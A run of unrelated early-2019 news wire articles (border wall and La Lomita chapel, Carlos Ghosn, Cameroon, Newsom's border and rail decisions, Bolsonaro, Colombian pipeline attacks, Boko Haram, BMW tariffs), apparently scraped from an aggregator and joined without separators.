La Lomita chapel in Mission, Texas, on Jan. 15. (Photo: Suzanne Cordeiro/AFP/Getty Images)

As we made pretty clear in our briefing filed on behalf of the diocese in court last week in McAllen, Texas, the diocese intends to assert its rights under the Religious Freedom Restoration Act to fight any building of the wall there, said Mary McCord, a lawyer at Georgetown University Law Schools Institute for Constitutional Advocacy and Protection, who is representing the diocese.

In other words, that act prohibits government actions that substantially burden the exercise of religion without the government establishing a compelling governmental interest and no other means of satisfying that interest, McCord told Yahoo News.

The federal Religious Freedom Restoration Act, a bill introduced by New York Rep. Chuck Schumer (now the Senate Democratic leader) was signed into law by Bill Clinton in 1993. It was the basis of the Supreme Courts ruling in Burwell v. Hobby Lobby that a corporation, following the religious beliefs of its owners, can deny employees health benefits for contraception.

After the Supreme Court ruled that RFRA did not apply to individual states, some states passed their own versions.

As governor of Indiana, Pence signed the states RFRA bill into law in 2015 over objections from those who said it effectively legalized discrimination against gays and lesbians. A massive boycott of the state ensued, leading Indiana lawmakers to add an amendment to protect LGBTQ residents.

Story continues

Now, that same legal framework could thwart Trumps plans in Texas for the swift construction of further miles of border wall, even though the section in question has been approved by Congress.

Christmas lights line the doorway of La Lomita Chapel in Mission, Texas, on Jan. 9. (Washington Post/Getty Images)

U.S. Customs and Border Protection said in an email that a contract to build approximately six miles of a border wall system along the Rio Grande Valley had been awarded in October and that construction was slated to begin this month.

The project includes the construction and installation of tactical infrastructure including a reinforced concrete levee wall to the height of the existing levee, 18 feet tall steel bollards installed on top of the concrete wall, and vegetation removal along a 150-foot enforcement zone throughout the approximately six miles of levee wall system, said a statement from Customs and Border Protection.

Based on the governments plans, McCord said the walls design would burden free exercise of religion and would be a physical barrier between those who seek to worship at the chapel, which dates back to the 1800s.

The church is on the U.S. side of the border, a few hundred feet from the Rio Grande. It serves worshipers from both countries.

If the church doesnt voluntarily sell the land where the chapel stands, the Trump administration would need to take it by eminent domain, a legal principle that allows governments to seize property, with compensation, for public purposes.

A judge ruled last week that the government could conduct a survey on the property for future construction, despite objections from Bishop Daniel E. Flores.

Such a structure would limit the freedom of the church to exercise her mission in the Rio Grande Valley, and would in fact be a sign contrary to the churchs mission, Flores said in a statement.

The Catholic Church is by no means the only stakeholder to object to the new section of wall. Numerous landholders fear their properties might be taken by eminent domain, including the National Butterfly Center a nature preserve in Mission, Texas, which asked a federal judge Monday to block new wall construction.

McCord argues that the impact of erecting a wall on La Lomitas property would be severe for the community.

There are people there every day who engage in prayer. There are services held there, McCord said. Theres been a novena going on for the last nine weeks to pray for no wall. There are palm Sunday celebrations, baptisms, etc. Its in use.

While McCord hopes that Congress will prohibit use of previously appropriated funds for construction of a wall, the case seems far from decided.

If the government persists in its desire to take the property at La Lomita for the building of the wall, that will have to go through litigation, McCord says.

_____

Read more from Yahoo News:Paris (AFP) - Sales of French wine and spirits to China fell last year, industry figures showed on Wednesday, in a further sign that a Chinese economic slowdown is hitting consumption.

The Federation for Wine and Spirit Exporters (FEVS) said sales to mainland China, France's third-biggest export market, slumped 14.4 percent in 2018 to 1 billion euros ($1.13 billion).

But it said the drastic decline had been partly compensated by an increase in exports to Singapore and Hong Kong, from where some French wine is re-routed to the mainland.

Sales to all three markets contracted by 1.5 percent last year to 2.5 billion euros, a reversal after years of double-digit growth fuelled by the growing taste for foreign alcohol among the Chinese middle class.

China's economy grew at its slowest pace in almost three decades in 2018 and lost more steam in the last quarter of the year as it battles to cut massive debt and quell a US trade war.

Antoine Leccia, head of FEVS, put a positive spin on the figures, saying exports to mainland China, Hong Kong and Singapore were still the second-best on record, "which confirms the long-term dynamics of the Chinese market."

Worldwide, French wine and spirits exports grew 2.4 percent last year to 13.2 billion euros, driven by appetite for the country's three-star products: Champagne, Bordeaux wine and Cognac.

The largest export market remains the United States, where sales increased 4.6 percent.

Exports are a key driver for the French wine and spirits industry as it confronts falling consumption at home.

In under 20 years, wine consumption per capita in France has fallen by more than 20 percent, according to the latest figures from the International Wine Organisation.

The decline is attributed to changing wine drinking habits -- people drink less, but higher quality -- as well as a growing taste for rival alcohols such as beer.China's birth rate fell to its lowest level in decades last year, new figures reveal.

It stood at 10.94 per thousand in 2018, compared to 12.43 per thousand in 2017, according to data released by the country's statistics bureau.

It has never been lower in the history of the People's Republic of China, which was founded in 1949.

The new figures mean that 2 million fewer babies were born in China in 2018.

Figures also show that the rate of natural increase in population, deducting the number of deaths, has also slowed.

It is now at its lowest level since the aftermath of a famine in the early 1960s.

China relaxed its notorious one child policy in 2016 by allowing urban couples to have two children, but the new rules have done little to encourage more births.

The policy change was spurred by fears about the country's increasingly ageing population.

China's statistics bureau did not suggest a reason for the rate's fall, but in 2018 economic growth in the country fell to its lowest in nearly 30 years.

Many couples are reluctant to have children due to high property prices and soaring healthcare and education costs.

In January, a government-affiliated think tank warned that the population in the worlds second-biggest economy could start to shrink as soon as 2027.

Additional reporting by agenciesFrench carmaker Renault said Wednesday it would block a major payout for detained former boss Carlos Ghosn as the group seeks to avoid the prospect of an embarrassing "golden parachute".

A month after Ghosn resigned from Renault, the company's board announced it would not pay the equivalent of two years of salary to the 64-year-old under a non-compete clause in his contract, estimated to be worth four million euros ($4.5 million).

The board also said Ghosn would miss out on stock options issued between 2015 and 2018 because they were "subject to his presence within Renault".

Company sources speaking to AFP said the stocks were only convertible after Ghosn had spent four years with the company, meaning this year he could have claimed those issued in 2015.

The combined value of the non-compete clause and the 2015 shares was estimated at 10 million euros.

Ghosn has been held in a Tokyo jail since his stunning arrest in Tokyo in November on charges of under-reporting his salary as head of Nissan, Renault's partner in an alliance Ghosn built up into the world's top-selling auto group.

Renault's move came shortly after the humbled former auto boss shook up his top legal team as he vowed to prove his innocence and forcefully defend himself against the charges.

He replaced former prosecutor Motonari Otsuru with hot-shot lawyer Junichiro Hironaka, who has a history of taking on high-profile cases and enjoys an enviable acquittal rate in a country where almost every trial results in a guilty verdict.

"I look forward to defending myself vigorously, and this represents the beginning of the process of not only establishing my innocence but also shedding light on the circumstances that led to my unjust detention," the Franco-Brazilian-Lebanese executive said.

The surprise shake-up came on the eve of an expected first meeting between the Tokyo District Court, prosecutors, and defence lawyers to discuss the outlines of Ghosn's eventual trial.

Story continues

- Salary controversy -

The French state, which is a major shareholder in Renault, has said it would do its utmost to avoid a "golden parachute" for the 64-year-old that would have proved highly controversial.

In 2018, Ghosn was forced to accept a 30-percent pay cut from Renault under pressure from the French state following a public outcry about the seven million euros he was paid annually.

In 2016, the man known as "le cost-killer" for slashing outlays and jobs took home a combined 15.4 million euros from his roles at Renault, Nissan, and Mitsubishi in a mix of fixed payouts and performance-linked bonuses.

As part of his Renault pay package, Ghosn was eligible to receive 100,000 company shares every year, but they could only be cashed after four years, as long as he was with the company.

Ghosn was therefore unable to claim the shares from 2015, 2016, 2017, and 2018, the company said in its statement.

It did not mention other payouts Ghosn could be entitled to after he formally resigned last month, having been at the helm of Renault since 2005.

Shareholder advisory group Proxinvest estimates he could be eligible for an annual pension payout of 765,000 euros a year.

Renault's board said it would decide on Ghosn's pay for the 2018 financial year on March 15.

- 'Unjust detention' -

Ghosn has been behind bars since November 19 on three charges of financial misconduct and has seen two bail requests refused, with the court judging him a flight risk.

He faces charges of under-reporting his income between 2010 and 2015 to the tune of five billion yen ($46 million), and continuing to do so for a further three years.

Ghosn also stands accused of a complex scheme to try to pass off personal foreign exchange losses to Nissan and using company funds to reimburse a Saudi contact who stumped up collateral for him.

He told AFP in January that the allegations against him and his arrest were "a story of betrayal," insisting "there is not one yen that I have received that was not reported".

Hironaka, Ghosn's new lawyer, is a veteran defence lawyer who was involved in the successful defence in 2012 of influential politician Ichiro Ozawa, a shrewd election strategist accused of playing a role in misreporting political funds.

There had been no public sign of a rift between Ghosn and his lead lawyers, though neither the executive nor the attorney have spoken much publicly since the arrest.

hih-sah-ric-js/mlrDouala (AFP) - Cameroon opposition leader Maurice Kamto, who says he was cheated out of the presidency in elections last year, has been charged with "rebellion" and "insurrection", one of his lawyers said Wednesday.

The former government minister was arrested in the economic capital Douala on January 28 after his MRC party organised protests in cities against last October's election result, which they say was rigged.

The prosecutor's office of the Yaounde military court filed the charges against Kamto, who was transferred to a prison in the capital during the night, according to lawyer Emmanuel Simh.

Simh, who is also vice president of Kamto's Movement for the Rebirth of Cameroon (MRC) party, said 28 of Kamto's supporters were also charged.

About 100 others supporters are to appear on Wednesday before the military court, which will decide whether to charge them.

Kamto has said he was the rightful winner of presidential elections, which were won by the West African country's veteran leader Paul Biya.

Biya, 86, secured a seventh consecutive term in the polls, which the MRC has slammed as an "electoral hold-up".

Kamto won 14 percent of the vote to place second, according to the official figures.

The vote was marred by incidents of violence especially in the country's two English-speaking provinces, which have been badly hit by clashes between separatists and Cameroon troops for more than a year.

MRC supporters turned out in several towns and cities on January 26 to dispute the official election result. The demonstrations were suppressed by the police and at least six protesters were injured.

The MRC has said that around 200 people arrested during the protests are still being held in Yaounde.

Some of them, including MRC treasurer Alain Fogue, have launched hunger strikes.

- 'Escalating crackdown' -

The European Union earlier this month condemned Cameroon for the "disproportionate use of force" in dispersing the protests.

Story continues

"Finding a solution to the challenges faced by the country can only be achieved through dialogue in a calm and inclusive atmosphere where fundamental rights and the rule of law are respected," EU spokeswoman Maja Kocijancic said in a statement.

Human rights groups last month condemned Kamto's arrest and called for his immediate release.

Amnesty International warned the arrest of Kamto and his staff "signals an escalating crackdown on opposition leaders, human rights defenders and activists in Cameroon".

"Instead of taking steps towards improving the countrys human rights record, we are witnessing the authorities becoming less and less tolerant of criticism. This must stop," said Amnesty's West and Central Africa director Samira Daoud.

Biya has ruled the West African country since 1982 with support from the army, government administrations and the Cameroon People's Democratic Movement (RDPC) that he created in 1985.SACRAMENTO, Calif. (Reuters) - California Governor Gavin Newsom on Monday signed an order withdrawing more than two-thirds of the state's National Guard troops from the U.S.-Mexico border, calling claims of an illegal immigration crisis there nothing but "political theatre."

Newsom said most of the roughly 360 National Guard members deployed to the border would be reassigned to other duties in the state, with about 100 remaining behind as part of a task force targeting drug trafficking and cartels.

"This whole border issue is a manufactured crisis. We are not interested in participating in this political theatre," Newsom said at an afternoon news conference in Sacramento.

The governor, a Democrat who took office in January, said border crossings were at their lowest level since 1971 and that the state's undocumented population had dropped to a more than 10-year low.

"This is pure politics, period full stop," he said.

The move was a rebuke to President Donald Trump, who won election in 2016 partly on a populist pledge to build a wall on the southern U.S. border which he said in his campaign Mexico would pay for.

Trump's demand for $5.7 billion to help build that wall was central to a 35-day partial U.S. government shutdown that ended last month. He agreed to reopen the government for three weeks to allow lawmakers time to find a compromise and avert another shutdown on Feb. 15.

Newsom's predecessor, Governor Jerry Brown, agreed to send National Guard troops to the border last April after reaching agreement with the Trump administration that they would focus on fighting criminal gangs and smugglers and not enforce immigration laws.

New Mexico Governor Michelle Lujan Grisham last week ordered the withdrawal of most National Guard troops deployed at the border by her Republican predecessor at Trump's request last year.

Trump has deployed an extra 3,750 U.S. troops on the border this month.

Story continues

Newsom said some of the National Guard troops would be re-deployed to help fight what he said were mushrooming illegal marijuana farms following approval of a 2016 ballot measure to legalize recreational cannabis - legislation the governor helped champion.

"We have to hold accountable those who are not participating in the legal cannabis market," he said. "These illegal grows are manifesting, getting bigger."

(Reporting by Sharon Bernstein in Sacramento, Peter Szekely in New York, Rich McKay in Atlanta and Dan Whitcomb in Los Angeles; Writing by Dan Whitcomb; Editing by Sonya Hepinstall)By Sharon Bernstein SACRAMENTO, Calif. (Reuters) - California Governor Gavin Newsom said on Tuesday he would scale back massive water and rail projects pushed by his predecessor and had assembled a team of lawyers to protect wildfire victims and ratepayers as utility PG&E enters bankruptcy proceedings. In his first State of the State address since taking office, Newsom also took several swipes at U.S. President Donald Trump, calling the Republican's immigration policies "political theater" based on misrepresentations. "This is our answer to the White House: No more division, no more xenophobia and no more nativism," Newsom said in a wide-ranging speech. Newsom distanced himself from fellow Democrat and four-term governor Jerry Brown in partially unwinding two of his popular predecessor's signature projects: bypassing the fragile California Delta with a set of tunnels to divert water from upstream and building a $77 billion high-speed rail line. While sticking mostly to a progressive agenda, Newsom acknowledged issues of importance to Republicans as well as Democrats. Key among those was his decision to scale back high-speed rail, which Republicans in the state have derided as an expensive boondoggle. The rail project, which was intended to connect the northern and southern parts of the state, will now connect Bakersfield and Merced in the San Joaquin Valley breadbasket, filling a glaring gap in the state system and keeping Newsom's campaign promise to help that often overlooked part of California. TWIN TUNNELS Brown's plan to channel water for towns, cities and farms through two large tunnels under a fragile delta that is home to endangered fish species was opposed by environmentalists. Newsom said he supported one tunnel. Newsom's interest in improving healthcare in rural areas and helping victims of wildfire were a welcome sign to Republican Assembly Member James Gallagher that the new governor might be willing to work with the state's minority GOP members. "He really does seem to want to do something for rural parts of California - and most of those areas are represented by Republicans, so he will have to talk to us," Gallagher said. Gallagher's Northern California district includes the town of Paradise, destroyed by a wildfire late last year that killed 85 people. Newsom said he had convened a strike force of lawyers to help the state advocate for fire victims and consumers as the giant utility PG&E Corp goes through bankruptcy proceedings. The utility filed for protection last month, citing in part anticipated liabilities from wildfires that its equipment may have sparked. (Reporting by Sharon Bernstein; editing by Bill Tarrant and Sonya Hepinstall)VISALIA, Calif.  California Gov. Gavin Newsom announced hes abandoning a plan to build a high-speed rail line between Los Angeles and San Francisco.

The project has ballooned to $77 billion.

Lets be real, Newsom said in his first State of the State address on Tuesday. The current project, as planned, would cost too much and respectfully take too long. Theres been too little oversight and not enough transparency.

Newsom, though, said he wants to finish construction already underway on a segment of the high-speed train through the Central Valley. The project would connect a 119-mile stretch from Merced to Bakersfield.

I know that some critics are going to say, Well, thats a train to nowhere. But I think thats wrong and I think thats offensive, Newsom said. Its about economic transformation. Its about unlocking the enormous potential of the Valley.

Hes also replacing former Gov. Jerry Browns head of the state board that oversees the project and pledged more accountability for contractors that run over on costs.

Start the day smarter: Get USA TODAY's Daily Briefing in your inbox

More: Newsom attacks Trump in State of the State: California will not be part of 'political theater'

Assemblyman Devon Mathis has, on many occasions, spoken out against the costly project. This week, he echoed his message to constituents.

I feel its a little silly to continue this boondoggle of a project to just keep federal funding from returning to President Trump. Now we have a train from Merced to Bakersfield; That was not what was sold to the voters," Mathis said. "Id ask for my money back if I was them.

The Kings/Tulare high-speed rail station will be located just a few miles from the Tulare County line.

Gov. Gavin Newsom said he wants to finish high-speed rail construction thats already underway on a segment through the Central Valley.

More: Report: Add $1.6 billion to high-speed rail in the Central Valley

More: Gubler says Mathis is 'ignorant' and 'incompetent' over high-speed rail

The governor hopes the project will revitalize the economically depressed region of the state.

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"Merced, Fresno, Bakersfield, and communities in between are more dynamic than many realize," Newsom said. "The Valley may be known around the world for agriculture, but there is another story ready to be told."

Newly elected state Senator Melissa Hurtado, who represents Kings County and a portion of Tulare County, is backing the governor's announcement.

"I respect the decision by California voters on the high-speed rail. Moreover, I applaud the governors effort to bring transparency and accountability to the HSR project," she said.

High-Speed Rail Authority officials say they also welcome Newsom's new direction.

We are eager to meet this challenge and expand the projects economic impact in the Central Valley," said Brian Kelly, California High-Speed Rail Authority CEO. "Importantly, he also reaffirmed our commitment to complete the environmental work statewide, to meet our 'bookend' investments in the Bay Area and Los Angeles and to pursue additional federal and private funding for future project expansion."

In December, the authority released 2018 highlights which included the hiring of the 2,000th construction worker in the Central Valley.

Despite the progress, State Auditor Elaine Howle released a scathing audit on the rail's overall mismanagement.

Rushed construction and poor management cost the rail authority $600 million in budget overruns, according to the audit.

The 87-page audit also found that the authority's decision to start construction in 2013, before it had secured necessary property and utility clearances, contributed to the overruns.

It could cost another $1.6 billion to complete Central Valley segments alone, Howle's report found. That would bring the total for the initial track to $10.6 billion, about 75 percent higher than the original $6 billion estimate.

Newsom has laid out his vision for California twice already, in his inaugural address and through his first crack at the state budget. He spent his first month in office traveling to different parts of the state promoting his ideas on housing, juvenile justice and the environment.

The Associated Press contributed to this article.

This article originally appeared on Visalia Times-Delta: California governor abandons $77 billion high-speed train between LA and San FranciscoOn Tuesday, California Gov. Gavin Newsom took the stage in Sacramento to give his first state of the state address. It was a chance to lay out his vision for leading the worlds fifth largest economy, a state that is home to some one in eight Americans.

But while he addressed issues ranging from high-speed rail to homelessness, the 40th governor of California began by pushing back against the agenda of President Donald Trump.

Newsom criticized fear-mongering thats coming out of the White House, likening Trumps rhetoric on immigrants to George W. Bush opposing same-sex marriage when he was president, during an era when LGBT people had less public support and fewer civil protections.

Last week, we heard another president stand up at the State of the Union and offer a vision of an America fundamentally at odds with California values, Newsom said. He described a country where inequality didnt seem to be a problem, where climate change didnt exist, and where the greatest threat we face comes from families seeking asylum at the border.

The speech came a day after Newsom defied Trump by ordering that several hundred National Guard troops withdraw from Californias border with Mexico, days after Trump announced that he had ordered 3,750 troops to the countrys southern border to prepare for a tremendous onslaught of immigrants seeking to enter the country.

Tolerance for illegal immigration is not compassionate, it is cruel, Trump said at the State of the Union, linking immigration to violent crime and other serious problems.

In his speech, Newsom rejected Trumps rhetoric about an emergency at the border as part of a manufactured crisis, noting that data has shown that undocumented immigrants are generally less likely to commit crimes than native-born citizens. While more immigrants have sought asylum in recent years, the number of apprehensions at the border has fallen. Newsom said he has directed troops to focus on real threats such as fire prevention and going after illegal cannabis farms in the northern part of the state, as well as stopping the smuggling of drugs and guns at existing points of entry on the U.S.-Mexico border.

California will not be part of the political theater, Newsom said, insisting that the sate would stand up for those who are maligned, marginalized and scapegoated.

Newsom is just a few weeks into the job, but the progressive is emerging as a key voice among Democrats pushing back against Trumps agenda. He leads a state that is among the most liberal in the nation when it comes to immigration issues and where Latinos have been the largest ethnic group since 2014.Tavistock has successfully blocked plans for a Premier Inn to be built in the town (SWNS)

After kicking out a McDonalds from its high street over a decade ago, Britains angriest town have now successfully managed to block another corporate giant.

Tavistock in Devon last week declared war on plans to build a Premier Inn on the site of a key public car park.

Tempers flared at a council meeting as residents claimed the hotel chain threatened to sabotage their way of life but the authority has now ditched its plans.

A packed public gallery cheered as West Devon Borough Council leader Philip Sanders announced he would not be supporting plans to borrow the 10.6m it would need to help the project get off the ground.

The leader explained how the plan wont now be able to go forward to the planning stage given there wont be funding agreed for it.

The Devon town is famous for kicking out McDonalds more than 10 years ago (SWNS)

This signalled another victory for the towns residents against a multi-national giant who said they were delighted with the outcome.

Several local residents had earlier given an impassioned plea at the meeting claiming the scheme would sound the death knell for independent B&Bs and shops.

The councils initial plan was to borrow the money to build the hotel which it would hope to claw back through yearly rental charges on the land, which the borough owns.

MORE: Police investigating linked murders of three pensioners in Exeter arrest 27-year-old man

MORE: Why therell be no escape for El Chapo in the prison of all prisons known as the Alcatraz of the Rockies

Council leader Cllr Philip Sanders told the audience he was wounded by accusations that he doesnt care about Tavistock.

He said he had lived in the town since 1974 and brought up two kids here and told the crowd he doesnt appreciate comments about the only good Councillor is a dead one.

Chair of the meeting Cllr Mike Davies had earlier compared the debate to an episode of Question Time, given the strength of feeling in the room.

The Premier Inn had been planned to have been built on the site of a key public car park (SWNS)

And Cllr Bob Baldwin said that the Premier Inn plan doesnt make business sense to the council and threatens Tavistocks world heritage status.

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He said: There is no consideration on migration of existing B&B visitors into budget hotel accommodation.

Councillor Graham Parker also made a passionate speech about life in Tavistock, telling the meeting: We must preserve parking, independent businesses and towns heritage which a Premier Inn would jeopardise.

Local residents said they were thrilled by the outcome.

Donna Baker said: Look at all the towns, they all have something to be angry about these days.

There are a number of things being forced upon us. This seemed to be a reckless waste of money.

Watch the latest videos from Yahoo UKSao Paulo (AFP) - Brazil's President Jair Bolsonaro left hospital Wednesday, ending a 17-day hiatus at the helm of Latin America's biggest economy during which several high-profile political issues were put on the backburner.

Bolsonaro, 63, underwent surgery on January 28 to remove a colostomy bag and seal intestines perforated when he was stabbed by a lone assailant last September while campaigning to be president.

His discharge date was repeatedly pushed back over the past couple of weeks as he was treated for post-op complications including vomiting, fluid buildup and a bout of pneumonia.

A convoy took him from the Sao Paulo hospital where he was treated to the airport. He then took an air force plane to fly to the capital Brasilia. A photo posted by his office showed Bolsonaro smiling as he walked down a corridor with officials in tow.

The far-right leader, a former paratrooper, had sought to project an image of still being in charge from his hospital bed.

But jockeying within the government during his absence led some observers to say he had left Brazil rudderless shortly after taking office at the beginning of January.

There was "a kind of power vacuum," Thomaz Favaro of the political risk consultancy Control Risks told AFP.

He said there was "a bit of worry" among hundreds of officials appointed to run government ministries, agencies and state-run companies on how to implement Bolsonaro's agenda while he was in hospital.

The tensions exposed by the extended period of limbo reportedly including friction between Bolsonaro and his vice president, Hamilton Mourao, who very briefly served as acting leader.

"Do you want to kill me?" Bolsonaro asked Mourao in a telephone call over the weekend, the latter said, though making clear the president was joking, according to multiple reports in major Brazilian media.

- Entourage irritated -

Mourao, a retired general, was said by Brazilian political columnists to have irritated Bolsonaro's entourage -- especially his sons, three of whom are also politicians -- by expanding his power base and influence through meetings with congressional heavyweights and diplomats and comments to the media.

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The vice president particularly enraged them by publicly questioning the anti-crime justification of a decree Bolsonaro signed to ease gun ownership laws, and Bolsonaro's controversial promise to eventually move Brazil's embassy in Israel to Jerusalem.

Now that he is out, Bolsonaro will have two priorities to tackle: setting out the contours of a much-anticipated reform of Brazil's unsustainable pension system -- and re-imposing his authority.

The Estado de Sao Paulo newspaper lamented the "administrative paralysis" caused by Bolsonaro's extended hospitalization and what it saw as his sons' undue influence.

"The government today is run by someone not in sufficient health to do so, and who suffers direct and broad influence from his sons -- who received no vote to be president nor occupy any ministerial posts," it said in an editorial on Tuesday.

- Struggle over pension changes -

The pension issue promises further struggles behind the scenes.

Bolsonaro won office partly by wooing investors with a pledge to overhaul of Brazil's limping, protectionist economy. That task has been largely delegated to his economy minister, Paulo Guedes, a US-trained free-marketeer.

Guedes has publicly toed the line set by Bolsonaro. But reports of tensions between him and the president's chief of staff, Onyx Lorenzoni, have remained despite ostentatious pictures of the two lunching together.

And Guedes and Bolsonaro have differed on basic principles of the pension reform. Lorenzoni said the package would be unveiled at the end of this week before being sent to Congress, but only after Bolsonaro gave his green light.

According to a leak last week of an early draft proposal, the minimum retirement age would be hiked to 65 years for both men and women. Bolsonaro initially wanted a softer regime of 62 years for men and 57 for women, but is said to be ready to settle for 65 and 60 respectively.

The reform will require changes to Brazil's constitution, to be voted by a congressional supermajority. If passed, it is expected to yield savings of up to one trillion reais ($273 billion) over a decade, according to Guedes.

Currently in Brazil, workers can make early retirement after contributing for 35 years in the case of men and 30 years for women.WASHINGTON (AP)  The undisputed grand prize at stake for President Donald Trump in the border security talks was money for his proposed wall with Mexico. He flat out got much less than he demanded.

But to clinch the deal that congressional leaders hope to approve this week  and that they're prodding Trump to sign or risk a new government shutdown  Democrats gave ground, too. Especially in their bid to fetter the federal Immigration and Customs Enforcement agency's ability to detain unauthorized immigrants.

It's the kind of accord that, for now, has elicited few bellows of triumph by either side. Senate Majority Leader Mitch McConnell, R-Ky., on Tuesday called it "a pretty good deal" that Trump should sign. Rep. Nita Lowey, D-N.Y., the lead House negotiator, said, "When you have a bipartisan process, you split the win."

A look at the deal's key provisions:

BUILD THE WALL? NOT SO MUCH

Democrats went head-to-head with Trump over his campaign mantra, which riles each party's core voters to near frenzies. Score this one for Democrats.

Trump shut the government down for a record 35 days, starting before Christmas, when Democrats refused to give him $5.7 billion to build more than 200 miles of boundary wall. He even thumbed his nose at a bipartisan Senate bill last year that would have provided $1.6 billion for border barriers.

He ended up with just under $1.4 billion  plus a shutdown that hurt millions of people and inflicted political damage on the GOP.

WHAT $1.4 BILLION CAN BUY

That's enough money for 55 miles of new construction. But the deal would limit the design to techniques already in use by existing border barriers, like vertical steel slats. Democrats say the language precludes a solid, unbroken "wall."

Democrats won a prohibition against barriers in and near a butterfly center in Texas, but not in all the stretches along the border they sought to protect, said a Democratic aide who described still-evolving details on condition of anonymity.

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Republicans note that early in the shutdown, Nancy Pelosi  now House speaker  said Democrats would provide nothing for the "immoral" wall. Though Democrats clearly had leverage in the talks, no one thought they'd get by without providing some money for barriers.

Still, Trump is looking for other money in the federal budget to shift to wall building. Depending on what he does, stay tuned for clamorous votes in Congress and lawsuits.

ICE, CURBED NOT SHACKLED

For many Democrats, Customs and Immigration Enforcement, or ICE, symbolizes what they consider Trump's punitive policies and enforcement of immigration laws. Some of their most liberal and visible partisans, like New York Rep. Alexandria Ocasio-Cortez, want to abolish it.

As a tradeoff for money for barriers and to soothe their progressive wing, Democrats demanded curbs on ICE's ability to detain immigrants. They got less than they wanted.

They completely abandoned their push to limit ICE to holding a daily average of 16,500 undocumented immigrants caught inside the U.S. They said that cap would have forced ICE to go after immigrants with criminal records, not those with minor immigration violations.

In addition, bargainers agreed to give ICE enough money to house 40,520 detainees by Sept. 30, the end of the fiscal year. The agency currently holds around 49,000. So while the deal would put that figure on a downward arc, it provides enough money for a daily average this year exceeding 45,000 detainees.

That's thousands above last year's level. And ICE has access to other budget funds to potentially hold more than 50,000 detainees.

That's not good, "given that ICE is an agency that needs to be reined in," said Kerri Talbot, a top official at The Immigration Hub, which favors easing immigration restrictions. A GOP summary of the accord said ICE was given "more than enough flexibility" for future "surges" in illegal immigration.

HUMANITARIAN HELP

As final pieces of the deal fall into place, Democrats say they expect hundreds of millions of dollars to upgrade often shabby immigrant holding facilities. They say there will be additional money for alternatives to detention, like ankle bracelets and officials who monitor immigrants released until court hearings.

This would be a relatively modest win for Democrats.

SHUTDOWN AVERTED?

Probably, and that would be a huge relief for the GOP. Polls showed the public blamed Trump and congressional Republicans more than Democrats for the shutdown that ended Jan. 25, and GOP distaste for another one is palpable.

Even so, it's hard to be certain with Trump. Asked how certain he was that there'd be no renewed shutdown this weekend, McConnell told a reporter, "I sure hope not."

A TEST FOR CONGRESSIONAL LEADERS

McConnell and Pelosi will have a lot on the line this week.

For Pelosi, D-Calif., who reclaimed the speaker's gavel last month, steering the deal through the House will test her ability to command what could be an unwieldy 235 Democrats. Some of the most liberal may rebel against the bill's money for barriers and less than stringent controls on ICE. She'll need to minimize Democratic defections and will likely need GOP support for the 218 votes necessary for passage.

McConnell should have a less difficult time in the more pragmatic Senate. His toughest task may be persuading Trump to not abruptly turn against the legislation  a habit Trump has displayed before.

___

AP Congressional Correspondent Lisa Mascaro and reporter Andrew Taylor contributed.BOGOTA (Reuters) - Colombian state-run oil company Ecopetrol reported two bomb attacks on its pipelines on Tuesday - the first caused a fire on the Mansoya Orito pipeline, while the second damaged the Cano Limon pipeline, spilling crude into a nearby ravine. The Mansoya Orito, in southern Putumayo, close to the border with Ecuador, was hit overnight. It was not operating during the attack, Ecopetrol said in a statement early on Tuesday. The 73.4-kilometer pipeline has capacity to transport about 24,000 barrels of crude daily from fields in Putumayo. The Cano Limon attack occurred in the late afternoon, the company said in a later statement, in the municipality of Teorama in Norte de Santander province, near the border with Venezuela. The bomb caused crude spillage into a ravine, Ecopetrol said, calling on residents not to approach the area or drink water from the ravine. Clashes taking place in the area were preventing the entry of technical staff and equipment, the statement added, without providing more details. The company did not say who was responsible for either attack, but the National Liberation Army (ELN) rebels are active in both areas and frequently bomb oil infrastructure. Cano Limon was also attacked over the weekend, the sixth attack this year. There were more than 80 attacks on the 485-mile (780-km) pipeline in 2018, which kept it offline for most of last year. The ELN has about 2,000 combatants and opposes multinational companies, saying they seize natural resources without benefiting Colombians. (Reporting by Helen Murphy and Julia Symmes Cobb; Editing by Bernadette Baum and Grant McCool)Maiduguri (Nigeria) (AFP) - Four people were killed and an unknown number of others were kidnapped in a Boko Haram attack on a convoy of vehicles carrying the governor of Borno state in northeast Nigeria, sources said on Wednesday.

A civilian militia member travelling with Kashim Shettima said jihadist fighters staged an ambush near the town of Dikwa at about 6:30 pm (1730 GMT) on Tuesday.

The area, near the town of Gamboru and the border with Cameroon, is a known area of activity of the Boko Haram faction loyal to long-time leader Abubakar Shekau.

Shettima, who is stepping down as governor after a maximum of two four-year terms, has been campaigning for a seat in the Senate in elections on Saturday.

He was travelling with the governorship candidate for the All Progressives Congress (APC) party, Babagana Umaru.

Both escaped unhurt and were able to continue to Gamboru, where they spent the night before returning to the state capital, Maiduguri, on Wednesday.

There was no immediate comment from either but a member of the Civilian Joint Task Force said the attack targeted the tail end of the convoy after Shettima had passed.

"There was heavy fighting between the attackers and the soldiers and CJTF," he told AFP on condition of anonymity for security reasons.

"Many vehicles managed to turn back, however two soldiers were killed and two other civilians. An unknown number of party supporters were kidnapped along with their vehicle.

"The bus they were travelling in got stuck in the sand while the driver was trying to manoeuvre and turn back towards Dikwa.

"All the people in the bus were rounded up and taken into the bush. Another truck belonging to CJTF, which also got stuck, was taken away but the occupants were able to flee."

Ngari Kalla, an APC supporter who was also part of the convoy, corroborated the account and said the victims' bodies were taken to Maiduguri.

"We still don't know the fate of several of our supporters who were abducted during the fight," he added.

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"Their vehicle was stuck and before they could get out the gunmen surrounded them and took them away. This is a major concern to us."

Borno state has been the epicentre of the nearly 10-year conflict, which has killed more than 27,000 and left some 1.8 million others homeless.

President Muhammadu Buhari was elected in 2015 on a promise to defeat the Islamist militants but despite initial gains attacks persist.

In recent months, soldiers have come under increasing attack from the self-styled Islamic State West Africa Province of Boko Haram, prompting fears of a resurgence.

The group, which is backed by the Islamic State, split from the Shekau faction over objections to his indiscriminate targeting of civilians.

Shekau has used kidnapping as a weapon of war and thousands of people have been abducted during the conflict, many of them women and young girls.

Ambushes of traffic escorted by the military in rural areas have also been common.BMW's (BMW-DE) North American boss has some tough words on tariffs, as automakers await a potentially pivotal decision on tariffs from the Trump administration.

The Commerce Department is expected to deliver a report within days that many industry experts say could deem auto imports into the United States a threat to national security and seek tariffs as high as 25 percent on all vehicles imported into the U.S. The tariffs for most light vehicles is now at 2.5 percent, and there is a long-standing 25 percent tariff on imported pickup trucks.

"If tariffs go up, it's not good for the consumer it's not good for our dealer network it is not good for the economy in total," said Bernhard Kuhnt, CEO of BMW North America told CNBC on Wednesday.

